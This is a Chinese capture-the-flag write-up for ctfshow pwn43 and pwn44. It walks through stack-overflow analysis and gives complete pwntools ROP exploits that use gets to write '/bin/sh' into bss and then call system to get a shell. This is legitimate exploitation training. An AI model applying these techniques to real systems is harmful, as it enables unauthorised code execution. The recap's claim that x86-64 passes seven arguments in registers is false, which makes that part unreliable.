0%

ctfshow 43,44

pwn43

ida:

image-20250122210931156

发现gets可以栈溢出(0x6c+0x4),但是并没有找到bin/sh或sh字符串,但是有system

image-20250122211029691

运行gdb使用vmmap命令即可观察到各段的权限信息

我们发现0x804b000-0x804c000是可写的

image-20250122211456327

-p 标志表示内存区域的权限,它由四个字符组成,每个字符分别代表一个权限:

r:可读(Readable)
w:可写(Writable)
x:可执行(Executable)
s:共享(Shared)

我们在bss段找到了变量buf2是可写的

通常情况下,BSS 段下的变量是可写的。BSS 段是用来存储未初始化的全局变量和静态变量的,操作系统在程序加载时会为这些变量分配内存并将其初始化为零或空指针。因此,BSS 段下的变量通常具有读写权限,可以被程序写入数据。

image-20250122211843495

思路:我们可以调用gets函数将/bin/sh字符串写入变量buf2,在传递给system函数的第一个参数就构造成功了system(“/bin/sh”)

gets:0x08048420

system:0x08048450

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import*
io = remote('pwn.challenge.ctf.show',28119)
buf2 = 0x0804B060
system = 0x08048450
gets = 0x08048420
payload= b'a'*(0x6c+0x4)
payload += p32(gets)
payload += p32(system) #作为gets函数的返回地址,返回到system函数中
payload += p32(buf2) #作为gets函数的参数(发送的/bin/sh将会被写入buf2),也是system函数的返回地址(是无效的)
payload += p32(buf2) #system函数的参数
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

pwn44

这道题思路与pwn43一样只不过是64位的,传参方式不同

image-20250122215202212

栈溢出(0xa+0x8)

image-20250122215304195

system:0x0400520

gets:0x0400530

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
io = remote('pwn.challenge.ctf.show',28255)
buf2 = 0x602080
system = 0x0400520
gets = 0x0400530
ret = 0x00000000004004fe
rdi = 0x00000000004007f3
payload= b'a'*(0xa+0x8)
payload += p64(rdi)
payload += p64(buf2)
payload += p64(gets)
payload += p64(rdi)
payload += p64(buf2)
payload += p64(system)
io.sendline(payload)
io.sendline(b"/bin/sh")
io.interactive()

总结pwn33,34

(1)解题思路

当没有bin/sh或者sh字符串时,但是bss存在未初始化的变量,我们可以调用gets,read等函数将/bin/sh字符串写入将其作为system的第一个参数,构造system(“/bin/sh”)

(2)64位与32位栈溢出后函数调用的不同

  1. 32位调用函数参数全在栈上,64位前是7个参数放在寄存器里,后面的放在栈上面。

  2. 32位调用函数压栈顺序是先压参数最后压返回函数,64位先是压入返回函数然后将参数放在寄存器

// 在最后添加